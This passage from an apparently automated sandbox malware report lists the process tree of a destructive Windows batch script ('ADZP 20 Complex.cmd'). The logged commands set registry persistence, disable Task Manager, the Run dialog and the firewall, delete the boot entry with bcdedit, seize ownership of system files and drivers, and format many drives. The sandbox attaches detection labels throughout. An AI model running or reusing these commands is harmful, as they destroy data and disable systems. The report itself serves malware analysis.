      Views/modifies file attributes
      PID:3912
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:7780
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:7912
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4316
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8328
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:9020
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:9208
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:9068
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:8044
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      Views/modifies file attributes
      PID:10236
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9956
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10304
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10452
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10540
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10632
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10860
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10920
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:11052
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10928
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:10344
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:11392
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:11544
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:3484
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:3500
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:3524
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:3544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:3564
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      PID:4140
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      PID:4788
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:3232
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      PID:3944
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:1224
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:4880
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:7204
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:7228
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:7436
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:7788
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:8580
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:8688
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:8708
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:8756
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      Views/modifies file attributes
      PID:7868
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9148
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:2192
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:8944
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:8924
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:8880
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:8284
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9196
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:8968
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:8328
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:8352
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:6536
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:5976
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:3584
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:8380
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:9124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:5960
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:6908
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:9224
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:9256
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:9268
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:9296
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:9336
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:9428
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:9504
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:9572
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\drivers" /r
      4⤵
      PID:9636
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\drivers" /reset /t /c /q
      4⤵
      PID:10084
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\drivers\*.*"
      4⤵
      Views/modifies file attributes
      PID:8332
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:8384
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9536
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9604
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9996
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9940
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:7432
  - - C:\Windows\system32\format.com
      format /y /q A:
      4⤵
      PID:9624
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:3580
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:3612
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:3620
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:3636
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\drivers" /r
    3⤵
    PID:3652
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\drivers" /reset /t /c /q
    3⤵
    PID:3864
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\drivers\*.*"
    3⤵
    PID:3992
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:3244
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:3328
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:3608
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:4016
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:3992
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:3600
- - C:\Windows\system32\format.com
    format /y /q A:
    3⤵
    PID:4176
- - C:\Windows\system32\format.com
    format /y /q B:
    3⤵
    PID:4688
- - C:\Windows\system32\format.com
    format /y /q D:
    3⤵
    PID:5108
- - C:\Windows\system32\format.com
    format /y /q E:
    3⤵
    PID:4548
- - C:\Windows\system32\format.com
    format /y /q F:
    3⤵
    PID:4924
- - C:\Windows\system32\format.com
    format /y /q G:
    3⤵
    PID:1224
- - C:\Windows\system32\format.com
    format /y /q H:
    3⤵
    PID:4540
- - C:\Windows\system32\format.com
    format /y /q I:
    3⤵
    PID:4304
- - C:\Windows\system32\format.com
    format /y /q J:
    3⤵
    PID:3272
- - C:\Windows\system32\format.com
    format /y /q K:
    3⤵
    PID:3356
- - C:\Windows\system32\format.com
    format /y /q L:
    3⤵
    PID:4516
- - C:\Windows\system32\format.com
    format /y /q M:
    3⤵
    PID:3484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:4140
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Possible privilege escalation attempt
      PID:8056
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:7856
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      PID:7912
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      Modifies file permissions
      PID:1192
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:4316
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      PID:7820
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:8428
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:8748
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:8964
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8060
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:9616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:9636
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:5492
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:10204
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      PID:680
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:4540
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:4004
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:4180
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:4768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:4100
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Modifies file permissions
      PID:7868
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:6604
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:8052
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      PID:7476
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      PID:7908
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:7780
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:8288
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:8588
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:8856
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:7180
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:10204
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:7016
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:1608
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:9464
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      PID:10572
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:5020
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:4948
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:2408
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:4512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:4420
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Possible privilege escalation attempt
      PID:7840
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      PID:7908
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:768
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      PID:4564
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      PID:7848
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:8320
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:8452
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5684
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:2024
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:9448
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:3900
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:5016
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    PID:4996
- - C:\Windows\system32\mspaint.exe
    mspaint
    3⤵
    PID:4196
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\ksxbar.ax"
    3⤵
    - Possible privilege escalation attempt
    PID:3396
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\ksxbar.ax" /reset /c /q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5260
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\ksxbar.ax"
    3⤵
    - Views/modifies file attributes
    PID:5520
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\Mpeg2Data.ax"
    3⤵
    - Modifies file permissions
    PID:5968
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\Mpeg2Data.ax" /reset /c /q
    3⤵
    PID:6304
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\Mpeg2Data.ax"
    3⤵
    - Views/modifies file attributes
    PID:6652
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\mpg2splt.ax"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6404
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\mpg2splt.ax" /reset /c /q
    3⤵
    PID:7268
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\mpg2splt.ax"
    3⤵
    - Views/modifies file attributes
    PID:7900
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\MSDvbNP.ax"
    3⤵
    PID:8056
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\MSDvbNP.ax" /reset /c /q
    3⤵
    PID:8436
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\MSDvbNP.ax"
    3⤵
    - Views/modifies file attributes
    PID:8880
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\MSNP.ax"
    3⤵
    - Possible privilege escalation attempt
    PID:8792
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\MSNP.ax" /reset /c /q
    3⤵
    PID:9696
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\MSNP.ax"
    3⤵
    PID:680
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\psisrndr.ax"
    3⤵
    PID:10728
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  PID:2952
- C:\Windows\system32\notepad.exe
  notepad
  2⤵
  PID:2712
- C:\Windows\system32\calc.exe
  calc
  2⤵
  PID:2448
- C:\Windows\system32\mspaint.exe
  mspaint
  2⤵
  - Drops file in Windows directory
  - Suspicious use of SetWindowsHookEx
  PID:2696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
  2⤵
  PID:2624
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\hal.dll"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2364
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\hal.dll" /reset /c /q
    3⤵
    PID:2308
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\System32\hal.dll"
    3⤵
    PID:1604
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\Twain_32.dll"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1704
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\Twain_32.dll" /reset /c /q
    3⤵
    PID:2288
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h "C:\Windows\Twain_32.dll"
    3⤵
    PID:2108
- - C:\Windows\system32\reg.exe
    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
    3⤵
    PID:2804
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2820
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2248
- - C:\Windows\system32\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:2664
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current}
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K Taskdl.bat
    3⤵
    PID:2196
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32" /r
      4⤵
      Modifies file permissions
      PID:4352
- - C:\Windows\system32\wscript.exe
    WScript Informacion.vbs
    3⤵
    PID:1928
- - C:\Windows\system32\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:2852
- - C:\Windows\system32\attrib.exe
    attrib -r -a -s -h *.*
    3⤵
    PID:2012
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:2492
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:1488
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:888
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:2352
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:2188
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:1388
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:1216
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:2512
- - C:\Windows\system32\wscript.exe
    WScript ErrorCritico.vbs
    3⤵
    PID:2364
- - C:\Windows\system32\wscript.exe
    WScript Advertencia.vbs
    3⤵
    PID:1616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
    3⤵
    PID:568
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\hal.dll"
      4⤵
      Possible privilege escalation attempt
      PID:4176
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\hal.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      PID:4796
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\hal.dll"
      4⤵
      Views/modifies file attributes
      PID:4780
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Twain_32.dll"
      4⤵
      PID:4180
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Twain_32.dll" /reset /c /q
      4⤵
      Possible privilege escalation attempt
      PID:3484
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\Twain_32.dll"
      4⤵
      Views/modifies file attributes
      PID:3396
  - - C:\Windows\system32\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"" /f
      4⤵
      PID:7216
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:7332
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:7772
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:7184
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:8816
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K Taskdl.bat
      4⤵
      PID:8916
  - - C:\Windows\system32\wscript.exe
      WScript Informacion.vbs
      4⤵
      PID:8928
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /release
      4⤵
      Gathers network information
      PID:8944
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h *.*
      4⤵
      PID:1852
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:8392
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:4128
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:8368
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:6776
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:6744
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9276
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9304
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9328
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:9420
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:9496
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:9608
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:9644
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:9680
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:9712
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:9736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:9752
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:9768
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:9804
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:9828
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:9848
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.cmd"
      4⤵
      PID:9880
  - - C:\Windows\explorer.exe
      explorer.exe
      4⤵
      PID:9896
  - - C:\Windows\system32\notepad.exe
      notepad
      4⤵
      PID:9948
  - - C:\Windows\system32\calc.exe
      calc
      4⤵
      PID:10004
  - - C:\Windows\system32\mspaint.exe
      mspaint
      4⤵
      PID:10036
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\drivers" /r
      4⤵
      PID:10060
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\drivers" /reset /t /c /q
      4⤵
      Possible privilege escalation attempt
      PID:9248
  - - C:\Windows\system32\attrib.exe
      attrib -r -a -s -h "C:\Windows\System32\drivers\*.*"
      4⤵
      PID:9372
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:3932
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:8956
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:10072
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
      4⤵
      PID:5044
  - - C:\Windows\system32\wscript.exe
      WScript ErrorCritico.vbs
      4⤵
      PID:3296
  - - C:\Windows\system32\wscript.exe
      WScript Advertencia.vbs
